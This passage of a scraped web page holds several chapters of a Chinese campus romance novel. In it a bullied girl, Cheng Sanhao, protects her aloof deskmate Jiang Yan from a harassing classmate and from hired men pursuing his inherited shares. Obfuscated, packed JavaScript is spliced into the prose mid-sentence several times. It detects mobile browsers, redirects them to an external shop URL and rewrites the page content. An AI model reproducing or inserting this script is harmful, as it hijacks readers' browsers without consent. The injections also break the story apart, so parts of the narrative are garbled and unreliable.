程三好眨着眼睛,竭力控制住自己的情绪,说:“我想转学。” 那头再度安静下来,程三好一颗心都提到了嗓子眼,静静地聆听着电话。 “为什么突然想转学,那不是你梦寐以求的吗?” 程三好咬了一下嘴唇,想到这是她的妈妈,黎萍也同为女性。 这就是她为什么没有打给程伟国,而打给她的原因,她抱着这点庆幸,对着倪萍缓慢说:“……有男生骚扰我。” 她强调:“很过分,严重影响到我学习……” 说到后面一句话的时候,她鼻头发酸得不行。 她把手机拿得离自己远一些,用手背揩了揩眼镜下的眼睛。 黎萍沉默下来,良久她说了一句:“等你爸回来,我会与他说。” 程三好点头,用力地嗯了一声。 “还有事吗?” “……没有,妈——” 她话还没有说完,电话从那头就嘟的一声挂断了。 程三好的书包还背在肩上,她左手握着书包肩带下端,安静地在原地待了片刻,才将手机关机,还给了苏阿姨。 接着一声不吭地转过身,奔着自己的寝室直去。 憋着一口气,中间毫无停歇地爬过四楼,走进自己的宿舍,将自己的头一下埋进了折叠起来的被子里。 不一会儿,被子表面濡湿了一大块。 她从不轻言委屈,也不觉得自己委屈,但常有委屈的情绪……她控制不住。 有些时候,她会想,要是自己的心是一块石头就好了,那样是不是就不会常常流泪。 人们常说你之所以苦,是因为你不够努力,不够上进,可程三好把自己能想到的方法都试过了。 她努力吗?她努力了,但她还是苦,还是哭,还是没出息…… — 江砚独自在教室一直待到了十二点半,才将书收起来放进书包。 此时不仅他所在的教室空无一人,整栋教学楼都几乎没有几个学生。 大家都去食堂吃饭或者已经回到了宿舍准备午休,他似乎除了学习没啥能让他感兴趣的,就连吃饭也是想起来了才会去吃一点。 目光低垂,他拉上书包拉链,握住黑色肩带一甩,单肩背着书包转身。 他抬腿往后门处走,突然瞥见门边站着几个成年人。 他脚步都没顿一下,径直走到那些人跟前,就连眼神都没给一个。 淡声道:“让开。” 那些从气质上看上去就很像保镖的人没动。 江砚眉眼压得很低,虎口正卡在书包带上。 那手骨节分明,修长匀称,突然手背青筋突起,肩带变形,黑色书包脱手,径直朝这一个离他最近的一个男人砸了过去。 那个保镖正好被砸中了脸,但他也只是偏了偏头,身体未动一分。 江砚嘴角勾着个冷笑,看着这群为江权清卖命的狗。 深邃的眼睛里阴云密布,周深的戾气源源不断地往外冒。 然后就在这时,围在一起堵住去路的保镖突然站成两排分开。 一个年纪在四十岁左右的中年男人缓步走进了教室,径直站到江砚跟前。 他姓张,是江财集团的一个高层。 江砚知道,他在江权清手底下办事。 像今天这样的场面不是第一次发生,从他离开津市踏上淮市土地的那一刻,他的周围便多了若有若无的视线。 甚至隔三差五,他就会派几个人,像今天这样来堵住他,对他进行一番劝说,目的就是他手中握着的那百分之二十的股份。 每次劝说的台词,甚至都不带改一下的,都是一个套路,说是如今外界得知江老爷子病倒,其他家族的人借此机会恶意收购,想要吞并江家企业,其中以韩家最为财大气粗,凭借着庞大的资金链,买入了很多小股份以及董事会的某些大股东。 如今韩家的股份在江财集团已经占到了百分之二十八,直逼江权清百分之三十股份。 一旦对方拿走了完全的控制权,江家就完了,所以让江砚交出手中他爷爷留给他的百分之二十股份给江权清,用来完全抵抗韩家的势力。 最主要的是,江砚手中没有了股份,韩家便不会将矛头对准他,江砚就是完全安全的一个人,只需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张总不愧是江权清手底下办事的人,被小辈这样命令,也不生气,乐呵呵地弯腰拾起地上的书包,还将上面的灰都拍干净,才双手奉上,恭恭敬敬地说:“给,江少。” 江砚已经重新恢复了那副漫不经心的样子,他伸手抓住书包肩带,反手甩到肩上,抬腿往外面走。 在场的几人,没一个敢拦的。 直到男生走出去了好远,张总才朝着地上啐了一口,然后打电话给了江权清,说了今天的情况。 那头的江权清听他说完,似乎是笑了一下,然后缓缓说了一句:“软的不行,那就来硬的呗。” 张总得意的笑压都压不住,他握紧手机,轻声道:“什么意思?” “悠着点,别把人弄死就行,到时候许家那边不好交代。” “行,我知道了,江董,我办事,你就放心好了。” 那头的人没了动静,张总顿时有些忐忑,手机离自己的嘴边很近,试探着说:“江董?” “张远。”江权清语气带着警告,“什么该叫,什么不该叫,你应当清楚。” 叫张远的人,拍了拍自己的脸,立马认错:“我知道了,江总,下次不会了。” 江权清嗯了一声,紧接着电话就被挂断了。 张远将手机踹进兜里,招了招手,那些人高马大的保镖立马懂他意思,纷纷跟在他身后,离开了教室。 80. 弥补(校园) 下午上课之前,程三好刻意提早几分钟出了宿舍,去到超市买了一只钢笔,再去了一趟食堂,找到卖水果的窗口,买了一个新鲜的苹果,才往教学楼赶。 进教室的时候,只来了几个人。 她微微喘气,放下书包塞进桌肚。 撕下一小张草稿纸,在上面写了几个字,才将其放在同桌的桌子上,用买来的钢笔轻轻压住,与此同时也把苹果放到旁边,然后就若无其事地坐正身体,拿出物理书预习起来。 没多大一会儿,教室里渐渐热闹起来,同学们都来上课了。 程三好心里有事,低头看了一眼手表,离两点只有一分钟了,江砚还没有来。 刚这样想着,秒表从五十八跳到五十九,教室前门上边的喇叭响起了上课铃声,与此同时旁边有一阵风微微吹来,带来一股清冽的,凉爽的味道,是男生坐了下来。 他应该是刚洗了一把脸,额头碎发微湿,脸上还有水珠。 天气不冷,他穿着短袖,校服领子处,纽扣有一个没扣,露出的一截脖子修长又富有男性荷尔蒙。 从侧面看去,喉结尤为明显。 程三好看着书,其实注意力都在旁边,只见他坐下来后,胸膛微微起伏,似乎是跑过来的,气息有点不稳,闷闷地喘着气。 然后动作一顿,可能在这时看到了桌子上的东西。 没过一秒,甚至更短,他抓起那三样东西,看都不看,站起身径直走到后面的垃圾桶丢了进去。 动作不带一点犹豫的,可能连上面字条写的字都没看清楚。 程三好倒是没见得多伤心,或者说她就像是履行某种义务一样,觉得有必要感谢一下为她出头的男生,所以才这么做。 她其实内心更多的是愧疚,经过早上那件事以后,罗坤肯定会对江砚有所记恨。 他是一个无辜的人,不该被她牵扯进来。 程三好想到此处,身心俱疲。 今天是周六,下午只有两节课。 物理老师给大家发了试卷,要随堂测验。 试卷从前往后传,传到罗坤手中时,他拿了自己的试卷,另一张捏在手中,没有转身,就举到自己的头顶,然后,停了一下,丢到地面。 江砚没有表情,正要后退几步弯下腰捡试卷,就有人先他一步,弯腰从书桌下面穿过去,拾起了地上的试卷,甚至拿起来时,还放低了位置,扇了扇灰,确认干净了再放到他的桌子上。 不到一节课的时间,江砚就写完了。 他待得无聊,看了一眼旁边的女生。 下午的阳光穿过玻璃,投射到她的身上。 她像是感知不到热,脸上杂七杂八地带着装备不说,身上也穿着长衣长裤,整个人神神秘密的。 江砚百无聊赖,正要收回目光,突然撇到女生旁边的窗子上,那里还是放着一个橙子,看上去和上午她闻的那一个是一样的。 那橙子又胖又圆乎,隐隐约约中,从这个同桌身上,他也闻到了一股清甜,不浓郁的橙子味。 — 两节课结束,到了交试卷的时间。 老师在讲台上面说了一声:“好了,都停下手中的笔,到现在都写不出来的,还是写不出来,从后往前面传,到时候我批改下来,看看问题都出在哪儿,再逐一进行攻破。” 罗坤依旧没有转身,将自己的试卷递给了前桌的人。 江砚正要起身,自己走到前面交给老师,手中的试卷突然被旁边的女生拿了过去,与自己的叠在一起,交给了王灿。 放半天假也是假,下课铃声一响,教室内走的走,留的留。 江砚没带书包,空着手准备去图书馆查资料。 他出了高一教学楼,去到旁边的省思阁。 图书馆在四楼,一整个大平层。 他需要坐电梯前往,去的时候,电梯门正要关上,他快走几步,到了跟前还是晚了一步。 江砚不着急,退后几步,插着裤兜,打算坐第二趟。 没想到电梯却没有往上,在这时缓缓向两侧打开,里面站着她的同桌,人靠在角落里,对上他的目光,轻点了一下头,也不说话。 江砚抬腿走了进去,按了四楼,手指却没有离开那一堆按键,停留在半空,想到什么,说:“几楼?” “也是四楼。” 江砚嗯了一声,按下关门键后就在电梯门旁边依靠着。 电梯叮的一声,四楼很快就到了,就是差不多一眨眼的功夫。 他直起身子率先走了出去,程三好离着他不远不近的距离跟着。 图书馆里非常安静,一点喧闹声都没有。 程三好抬头,看着书架上贴着的分类区,扎头钻进了排排壮观的书海里。 江砚直奔文学类书籍区域,他知道自己写作文差点意思,所以想看关于写作指导相关的书籍。 他从书架上一排一排地浏览着,看到某本叫《教你如何写出满分作文》的红色书皮书籍时,他伸出两指,扒拉着书籍头部,就要抽出来,却突然感觉到一股拉力,好像书架对面也有一个人在这时看中了这本书。 他的食指和中指还搭在这本书上,想也不想就要收回去,没想到又感受到一股推力,很明显就是在往他这一边推。 他本就没有用多大的力,这会儿也只能顺着力道,将书从书架上拿了出来。 从空出来的窄道里,他似乎看见了一闪而过的蓝色医用口罩。 不知不觉,天已经黑了,图书管理员催促没离开的要赶紧离开,已经到了闭馆时间。 江砚看完最后一行字,将书籍合上,放回了原来的位置,起身离开了图书馆。 坐着电梯到了一楼,转了一个弯,进入走廊,去教室拿了自己的书包。 此时校园里除了路灯发出的光芒,以及偶尔亮一下的感应灯,几乎黑漆漆一片,也没有什么人。 他穿过马路,经过食堂面前的一条宽大的人行道时,因为周遭有一些黑,他就没注意到隐藏在宣传牌后面的两个男生。 光线昏暗中,他被前方的人腿拌了一下,就这么愣神的功夫,他被人一把拉进了左下方的灌木丛里。 紧接着,一拳打在了嘴角。 如果是旁人,想必已经乱了阵脚,只能挨着被打的份,但是江砚乃至江家保镖秘书之类的人,从小都是被专业训练过的,不仅会自由搏击,甚至军拳也被要求熟练掌握。 江砚一只手被一个人抓着,无法动,但是他的另一只手反应急速地抓住揍了自己一拳的那只胳膊,不给对方反应的机会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的脚依旧踩在他的膝盖上,没动,就保持着这个比较近的距离,语气有点烦躁:“以后这种事能不能不要拿来烦我,我不想惹事。” 罗宽不吭声,点了点头,察觉到膝盖上的那只脚收了回去,心里刚要松一口气,没想到脱臼的手臂上再度传来一个力道。 疼痛让他什么脸面都顾及不了了,已经被吓破胆的他惊恐出声:“我给你当孙子行吧,求你了,我下次不敢了,啊!” 一阵剧烈的疼痛过后,他眼前发白,一度差点被疼得晕厥过去。 江砚没有理会那人,俯身拾起草坪上的书包,单肩背着往宿舍的方向走。 罗坤的朋友叫张明,他从坡下爬上来,一路走到罗坤的跟前,见他脸色煞白,问他:“他怎么着你了?” 罗坤这时察觉到自己脱臼的手臂好像可以动了,他试着往前往后抡了抡肩膀,发现骨头的确复位了。 他心里说不出来什么感受,只是说:“他卸了我胳膊。” “啊,tnnd,这小子恐怕练过。” 罗坤搭着张明的肩膀站起身,看着虚空,低声说了一句:“这件事我和他没完。” 张明没他这胆子,像今天晚上这种靠偷袭揍人还是头一次,他觉得不光彩,于是说:“还是算了吧,人家显然就是练家子,咱们只有挨揍的份。” 罗坤不满,语气不好:“你怂到时候别上就行,我自己会找人收拾他,你看着,到时候我一定让他跪着叫我爸爸,tmd,这梁子算是结下了,我罗坤跟他江砚没完——” 81. 噩梦犹在(校园) 周日的晚上,要上晚自习。 程三好在去教室之前,再次找到苏阿姨,向她借自己的手机,打电话给了黎萍。 电话铃声足足响了十几秒,对面才接了起来。 “妈,是我。” “嗯,什么事?” 程三好手指触摸着玻璃门:“……就是昨天我跟你说转学的那件事,你跟爸爸说了吗?他什么想法?” “哦,这件事,我说了,当天晚上他回来我就与他说了,然后他打电话给了你们的班主任,她说没有性骚扰这一回事,只是有个男孩子喜欢你,在追你是吧?” “不是,不仅仅如此……” 程三好不明白蒋华这样说的原因在哪儿,她极力想为自己辩解,但是黎萍对她没有什么耐心。 “好了,最近你爸公司事务繁忙,你就不要拿这种小事来给他徒增烦恼了。” 程三好握着手机的手死死地捏紧,搭在屏幕上的几根手指抠了抠手机上贴着的不锈钢化膜。 短短几天就发生了好几件令她崩溃失望的事情,当下的她这一次没有哭,感觉都已都已经开始慢慢习惯这种冷漠了。 挂断电话后,她将手机还了回去,背着书包去教室。 到达的时候,来的学生还挺多。 只要不是上课期间,里面总是闹哄哄的。 她喜欢从后面进去,一眼就看到她的课桌上,同桌江砚已经来了,低着头可能在写试卷。 她将自己的书包塞进桌子,书包拉链碰到桌子内壁发出一声细碎的噼啪声。 她像以往一样目不斜视,基本上不会关心旁边坐着的人怎么样,专心学习。 直到教室内放起新闻联播,她听到江砚旁边隔着过道的一张桌子上的同学喊她。 她看过去,本来想询问室友要干什么,但就是这一个扭头的动作,她看到了江砚嘴角的伤口。 虽然已经贴了一个创可贴,但嘴角的皮肤周围还是会有一些淤青的地方。 她微微愣住,室友却还在招手,说道:“借我一个英语本。” 程三好收回视线,低头翻起了本子,找的过程中,刚才的画面却久久没有散去。 她的唇角抿得紧,甚至有一点过分紧绷的感觉。 找到一个新的英语作业本,她起身,绕过同桌,给了室友。 “谢谢哈,放学后,我买个新的给你。” “不用,反正我当初买多了,正愁没地方用。” “啊,那好,爱你!”室友在头顶比心。 程三好摆了摆手,又回到了自己的座位。 周日的晚自习一般是班主任的,蒋华习惯在前两节课上新的知识,后面一节留给他们做作业。 程三好的数学是仅次生物这门科目以外最好的一门,她喜欢一步一步求证,通过一个个公式套出来,最终求解出答案那一瞬间的成就感。 但是现在她没有,虽然已经解除了好几个大题,但她心里一点波澜都没有。 她其实能够猜得到,江砚嘴角的伤口是从哪儿来的,十有八九就是罗坤下的手。 但是他又是如何在如此严格的一中里下手的?校园每一个角落基本上都安装了监控,平时白天或者晚上都会有保卫科的人巡逻。 而在寝室也不容易,宿舍走廊楼道或者是洗衣房等等空间都安装了监控。 罗坤如果要选在寝室里动手的话,她看江砚的室友和他好像都相处得不错,经常在下午放学后去篮球场打篮球,想来不会坐视不管。 而且一旦被宿舍管理人员发现学生互殴的情况的话,是一定会被通报批评的。 她细细地捋着,手中的笔不知何时已经停了下来。 白天动手太过显眼了,时间可能就是晚上。而动手地点就极有可能是从教学楼到寝室的这一段路。 众所周知,食堂前面的那条人行道基本上就是监控死角,而且旁边都是灌木丛或者樱花林,一不小心被拖到里面的话,的确会吃亏。 程三好在心里叹了口气,这个事情变得棘手了。 晚自习,罗坤没来,听人说是请假了,这更加映实了程三好的猜想。 虽然同桌脸上挂彩,但她觉得,他绝非是那一种忍气吞声不还手的人。 所以极大可能,罗坤脸上也挂彩了,不好意思出门,才请的假。 三节课很快过去,十点一到,下课铃声刚响,已经早早收拾好书包的学生,争先恐后出了教室。 程三好本应该在人流多的时候和他们一起离开的,但是今天,她没动,因为江砚没走。 直到人走得差不多,只剩下他们两个。 教室里安静下来,再过几分钟,整个楼道也安静了下来。 窗外的花坛里响起了蛐蛐声,晚风吹动蓝色的窗帘,飘过来的风中带着一丝凉意。 十五分钟后,右手边的男生终于停下了笔,简单塞了几本书丢进黑色的书包,照常单手提着一只书包背带就甩在了肩膀上,抬起大长腿往后门处走。 行至门边时,修长的手指搭上开关,微微用力,教室顿时陷入了黑暗。 程三好下意识“嗯?”了一声,非常疑惑。 没等她反应过来,白炽灯又在头顶亮起,少年还站在门边背对着她,似乎是侧了一下头,但终究是没有说什么,抬脚离开了。 虽然程三好很喜欢自己没什么存在感,但江砚实属是有点过分了。 可能习惯了最后一个人离开教室,下意识离开关灯,又在那电光火石间想起了教室里还有她这么一个人,又才开了灯。 她的作业都写完了,没有纠结多余的东西,迅速收拾好书包,将教室内的灯关了,抓紧出了教室,跟了上去。 她隔着大概六七米的距离,远远地看着江砚的背影。 她不打扰,不靠近,只确保能够看得到人就行。 教学楼上过一层楼梯到达柏油马路,穿过柏油马路走上人行道,爬过一个很缓的小坡就是食堂门口的人行道。 校园里没有什么人,程三好故意放慢脚步,走在最后。 到了宿舍,她往左侧看,见男生进了宿舍,整个走廊都很亮。 程三好紧绷的神经微微放松,就像是完成了什么任务一样,安心下来似的点了点头,抬起脚,往右侧走。 接下来的几天,程三好都是最后一个离开教室,也是照常远远地看着男生的背影,直到他安全到达男寝后,才放下心来去做自己的事情。 周三的时候,罗坤来上学了,虽然可能伤好了一些,但是脸颊两侧还是能看得出来又青又紫,还有一点肿,有点像一个发胖的猪头。 也不知是因为有了江砚的掺和,让他转移了注意力,还是因为自己脸丑不好意思在程三好跟前晃悠,总之上课他没再回头和程三好说话,下课也不会跟着她去厕所,一下子收敛了很多。 程三好刚要感到庆幸,没想到,下午的体育课上,那人还是一如既往。 他瞅准大家自由活动时间,找到独自坐在草坪中央没什么朋友的程三好跟前,与她搭话:“喂,程韵清,咱们和好,好不好?” “你那天用书砸我的事情就过了,我对你说的话我也跟你说声抱歉,让我们的关系回到军训期间不好吗?” 程三好大脑空白了几秒,像是有些不理解他所说的话。 不怪蒋华说他脸皮厚,这罗坑简直就是一个神经病,说话做事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565271|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全是凭着心情来的。 他压根不在乎别人的感受,我行我素行事。 出了这么大的一件事,按理来说常人也该有羞耻心,可他像是完全没有。 程三好再次被堵得说不出话来,好不容易看开了一些,又被他拉入了可怕的噩梦。 她握紧手,像是借此疼痛来让自己保持清醒,强撑着精神站起身,打算离他远点。 谁想被罗坤一把握住手腕,她顾不上体面,狠狠地一甩,抱着自己的手,绷着唇,戒备地看着他。 罗坤的胳膊虽然说骨头复位了,但是肌肉疼了好几天,到现在还是疼得不行,女生刚那行为,差点没让他当场痛得流泪。 他死死掐着自己的胳膊,脸痛苦地皱成一团:“妈的,你有病!好好跟你说话你听不懂是吧?还是说你现在在看我笑话?” 他见程三好不说话,冷笑一声。 可能是男生的自尊心在作祟,他急不可耐地向女生证明:“看到江砚那小子嘴角的伤了?那是老子打的。” “我知道你们这些女生心里都是些什么想法,无非是觉得他帅,你是不是也这样觉得?”罗坤笑了一声,满是嘲讽,“真是搞不懂你们女生的眼光怎会如此差劲,不过……” 他话锋一转:“很快,他就不是你们眼中的帅哥了,我会向你证明,我罗坤就是比他江砚厉害,你就应该站到我这一边来。” 说到这里的时候,罗坤极为得意地笑起来,他像是提前预知了什么喜事一般,整个人的眉毛高高地扬着,神情非常怪异。 “韵清,早晚你会回到我的身边。” 他的话语犹如一条含着剧毒的蛇,从程三好的小腿一直蜿蜒缠绕至她的喉咙,窒息感再度席卷而来。 明明是阳光明媚的下午,她却硬生生出了一层冷汗,打了一个寒颤。 — 今天晚自习结束后,她看着蜂拥而出的学生,在犹豫是否跟着大部队一起,还是留下来最后一个。 余光中,瞥见罗坤已经离开了座位。 程三好咬着牙,决定像前几天一样按照计划行事。 她没有什么办法,也没有什么本事,她只能尽量让无辜的同桌少一些危险存在。 如往常一般,江砚倒数第二个离开教室。 程三好等他走了两三分钟,才将教室的灯关了跟上去。 出门的时候没注意,一下与隔壁班跑过来的一个女同学撞在一起。 二人身高差不多,程三好又戴着眼镜,所以都被撞得不轻。 她鼻梁磕在对方的额头上,当即痛得她退后几步,蹲在了地上。 女同学的脑袋被撞,程度较之程三好也只是好了一点,因为额头破了点皮,是被程三好的眼镜给刮的。 两人缓过了那股劲,接着忙不迭道歉:“对不起,对不起……” 程三好站起身:“没事吧?” “我没事。” “嗯,那你额头……中途我听见了一声响,应该是我的眼镜刮着你了。” 女同学的手还搭在脑袋上,说:“我真没事,这种事情在所难免,倒是你,你真的没事吧?” 程三好莫名笑了一下,觉得这个场景有点喜剧,主动结束了拉扯:“我真的没事,那大家既然都没事,我就先走了。” 女同学对她挥了挥手,下一秒,面前的女生突然靠近她,递给她一个创口贴,然后转身走了。 程三好出了教学楼,来到那一条柏油马路上,抬起目光的一瞬间,忽然瞥见不远处樱花树旁,背对着她的江砚,被几个人高马大的成年男子围住了。 她心中警铃大作,甚至顾不得自己的鼻子还在隐隐作痛,抬腿就跑了上去。 82. 惊鸿(校园) 还没到跟前,她就大喊一声:“你们是谁?不知道校园里是不允许陌生人擅自进入的吗?” 那些人显然没想到会突然出现一个小女生,神色微怔。 程三好也不知哪里生出来的胆子,上手将一个男人扒拉开,牵住江砚的手急忙将他拉到了旁边空地上。 她用身体挡住江砚,站在他的身前,胸膛起伏,喘着气:“我不知道你们这些人是如何得到允许进来的,亦或者是翻墙进来的,总之如果你们现在还不走,我敢赌,再过三分钟,你们谁也走不了。” 程三好咽了咽口水,目光坚定,信誓旦旦地说:“我们学校保卫科的人员,每天晚上都要进行巡逻的,不出我所料的话,待会儿那个大叔就应该巡逻到这儿了。” 她说完,前面的几个成年人,互相看了几眼,却丝毫没有乱了阵脚。 下一秒就像没听到程三好刚才的话一样,逼近了少年们。 江砚轻皱了一下眉,刚要将女生拉到自己的身后,却见她高高举起了一只手,冲着他的后方边挥边喊道:“杨叔!这儿,我在这儿!” 果然话音刚落,竹林那里就闪起了手电筒的光亮。 刚才还穷凶极恶的几个男人顿时停下步伐,没有犹豫地转过身,有些狼狈地跑起来,离开了此处。 程三好一直看到那些人消失在黑夜里,才虚脱般放开江砚的手,踉跄着后退几步,一屁股坐在花坛瓷砖上。 她真的是一个很胆小的人,但是遇着的事儿没一件不是惊心动魄的。 她呼出一口气,双手撑在膝头,微微弓着腰。 觉得闷得难受,索性将口罩摘了下来,捏在手中,平复着呼吸。 江砚一直没说话,也没有动。 他颀长的身影站在空地上,突然举起右手,盯着上面看。 他从始至终都很冷静,也不觉得热,所以那汗水是女生的。 程三好拉他的一瞬间,手心还是干燥的,但在与那些男人说话的几秒间。 江砚不仅直观地感受到她的手心在不断地冒汗,还感受到了她伪装在坚强皮囊下的紧张手抖,这些小动作全部通过他们牵着的那一只手一并传递给了他。 原地站了一分钟或者更短,他举在空中的手,在风的吹拂下,已经重新变得干燥。 低垂的目光没有什么情绪,伸展的五指倏地收拢。 听到脚踩在地面的声音,他微掀眼皮,见她的同桌又是那副全副武装的样子,走到他的跟前。 程三好的眉头拧着,神色疲倦中带着一些愧疚,她说:“……对不起,我没想把你牵扯进来的,也没有想到那罗坤竟然如此有本事,叫来的这些人一看就是被专业训练过的。话说,你刚才有受伤吗?” 江砚却没有接这一茬,他反问:“你跟踪我?” 女生的手藏在宽大的校服袖管里,只露出两根手指捏住衣服下摆。 她似乎是有一些尴尬,眼神飘忽,声音有点小:“……其实不是跟踪,是保护……保护,我很担心,他埋伏你……” 江砚偏头看了一眼路灯,感到可笑:“埋伏?” 程三好自认理亏,她看了男生一眼。 少年单肩背着书包,背对着路灯,身影清隽,校服外套敞着,站姿随意。 碎发下的一双眼睛深不见底,像是一片深海,又像是含着一块蓝白色的冰晶。 无波无澜,凉而冷,附着冰霜。 跟他整个人的气质一样,看到他,会让人蓦地想起矗立的雪山。 有他的地方,空气中似乎有冰凉的风雪裹挟着清新的森林木香掠过。 程三好目光一顿,她没有移开视线,生出了点探究的意思。 她看进那双瞳色稍淡的桃花眼里,某个刹那,她忽然觉得,江砚不像是旁人说的那样,天生的冷淡,不会有情绪,反倒像是……被什么硬生生冻住了,压在了海面之下。 程三好手指蜷缩,离开目光,不知为何心里面的愧疚感更重了。 她语气苍白,说:“对不起,我并不是有意要跟着你的,如果你讨厌,那我下——” “人呢?” “嗯?”程三好被打断,不知道他这话的意思,表情懵懵的。 江砚双手插在裤袋里,姿态懒散,嗓音中尽是漫不经心:“你刚不是喊了一声杨叔吗?” “哦,”女生在镜片后面的眼睛弯了一下,她说,“你在这里稍等我一下,我去把他叫过来。” 她的语气突然变得欢快一些,不等江砚表示,就快跑几步,去到了那片竹林旁,拿起了还在亮着的一个手电筒,又快速跑了回来。 只是跑了几步,她就微微喘气。 不过不影响她眼中的兴奋,她举着那把手电筒,对着江砚,语气里有炫耀的意思。 她说:“没有杨叔那个人,或者杨叔就是这把手电筒……” 只是说了那么句话,女孩子的眼角就弯了,她笑了一声,接着道:“它是我改造的,可以声控的那种,只要触发关键词,它就会亮起来,并像指针一样左右摆动,营造出人举着它走动时的带来的光线晃动。” 介绍完自己的宝贝,程三好就迫不及待地求夸,她道:“怎么样?还不错吧嘿嘿,虽然的确我的物理没有你的好。” 尽管她脸上遮的严严实实,但江砚似乎就是看见了她上扬的嘴角,以及身后若隐若现,不停摇摆的尾巴。 他没有顺着女孩子的话说,淡淡道:“很蠢,这个办法。” “啊……嗯。”女生可能想为自己的宝贝辩解辩解,但话到嘴边又咽了回去。 她像是被打击到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579889|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,如同霜打了的茄子一样,蔫蔫地垂下头。 江砚一点怜香惜玉的意思都没有,他瞥了一眼垂头丧气的程三好,薄唇微启:“你说你不是跟踪我,是要保护我,但如果今天那些人并没有被你这个小伎俩给骗到,你又该如何?” 少年的声线就像他的性格一样,冷霜中带着点浑不瑟,很是不近人情。 女生似乎还挺在乎他说她宝贝很蠢这件事,整个人的精神不是很好,语气挺无所谓的:“烂命一条,就是干呗。” 江砚意外,挑眉:“你不是很怂?” 知道他是在指她和罗坤的事,程三好牵强地笑笑:“实不相瞒我这人没出息,胆子小,当然是能苟就苟,能不惹事就不惹事,但是……” 她停顿了一下,才说道:“你是无辜的,不该被我拖累,我的命不重要……但你很重要。” 说到后面一句话,说完了她觉得有点奇怪,又改口说道:“是你的命很重要……我必须要确保你是安全无虞的。” 他们所站的位置,路灯是坏的,只有柏油马路对面的路灯发出瓷白的光芒。 它打在地面形成一个光圈,光圈渐渐晕染开来,到他们身后已经完全没有了光芒。 江砚视线落在那条光与暗的分界线上,静静地听女生说完。 半晌,他突然道:“你设计的那玩意儿其实挺厉害的,连我也给骗过去了。” 他的话音刚落,真的甚至还没落到地面,面前的女孩子就一下变得开心起来,眉眼间的喜悦藏都藏不住,更遑论激动的语气。 她说:“是吧,是吧……我也这么觉得哈哈。” 她平时说话的声音清清亮亮的,笑起来时却有一点糯糯的,软软的,整个人虎憨虎憨的样子。 这是江砚来到淮市以后,第一次觉得有人笑声不刺耳。 他似乎是被女孩子由衷的开心给传染到,嘴角上扬了一下。 虽然只是极轻极快的一小点,但还是被眼尖的程三好捕捉到了。 她惊讶得不行,微微眯着眼睛,轻抬下颌,仰着头说:“你刚才笑了吧?” 一副审判官的口吻。 江砚不承认:“没有。” “你就是笑了,我真的看见了。” “没有。” 两人说着话抬脚往宿舍的方向走,程三好瞅准机会,快速又说了一句:“你就是笑了。” 江砚嘴硬:“没有。” “笑了。” “没有。” 幼稚的少年们并肩行过食堂前面的人行道,声音模糊在了身后的樱花林里。 食堂一楼的光暗下去,前方宿舍暖黄的光铺陈在脚下。 “你刚才就是笑了。” “没有。” “……” …… 83. 加热中(校园) 回到寝室,江砚将书包甩到床上。 边单手解领子纽扣,边打开衣柜,准备拿换洗衣物去洗澡。 寝室里的衣柜分为了好几个小格子,不过一中还算豪,一个格子差不多有半个人这么高,里面的空间就是竖着挂一件t恤高度也绰绰有余。 他翻出一件校服,角落里有光亮一闪。 拿衣服的动作一顿,转瞬将衣服堆里的智能手机掏了出来,径直走向了卫生间,接通了那个电话。 “喂,小砚?” “嗯,我是。” 那头的人是一个男人,他似乎是松了一口气:“可算打通你的电话了,你都不知道叔我有多担心你。” “嗯,”男生面上没什么表情,“学校管的严,我不轻易拿出手机。” 江波是董事长秘书,心里悬着的一颗心算是放下了,整个没有那么紧张,说:“原来是这样……你在那边一切都好吗?” “还好,我没事,爷爷呢?有没有好转?” “还是老样子,你别担心,咱们家兄弟那么多,他江权清再狼子野心,也动不了你爷爷一点,我有派人守着。” 江波已经从津市来到了淮市,现在就在某家五星级酒店中,看着窗外的月色,想起来什么似的,突然说:“对了,我现在就在离你们学校不远处的酒店里,如果有什么事或者江权清他让人欺负你,一定要打电话跟我说知道吗?小砚。” “嗯,我知道。” “这江权清真的是个养不熟的白眼狼,我们少爷何时吃过这样的苦啊。” 江波基本上是看着江砚长大的,一直拿他当亲儿子看待,想到江砚当下的处境,他不免心疼。 江砚无奈地叹了口气,说:“我真没事,这里生活条件也不差,同学们老师们也都还好,我真没啥觉得辛苦的地方。” “你的性格我还不了解吗?就是嘴硬,就是喜欢强撑……不说多了,明天你还要上课,我就不打扰你了。” “行,”江砚正要挂断电话,手指在红色按键上还没落下,脑子里突然想到什么,又说道,“波叔,我想拜托你帮我办两件事。” “行,你说。” “……” 翌日,天气阴沉。 一大早上的,班级里的同学却精神十足。 “听说罗坤和他的几个朋友在校外赌博被举报了。” “啊,真的吗?怪不得第一节课没有看到他哎。” “不仅仅如此,去赌博的还有我们学校的男老师,所以本来是要被通报批评的,现在这件丑闻爆出来,学校都在压热度了。” “也不知是那个男老师牵的头,还是罗坤他们拉他入伙的,众说纷纭什么都有,反正好像是就差没被退学了,要在家反省两个月。” 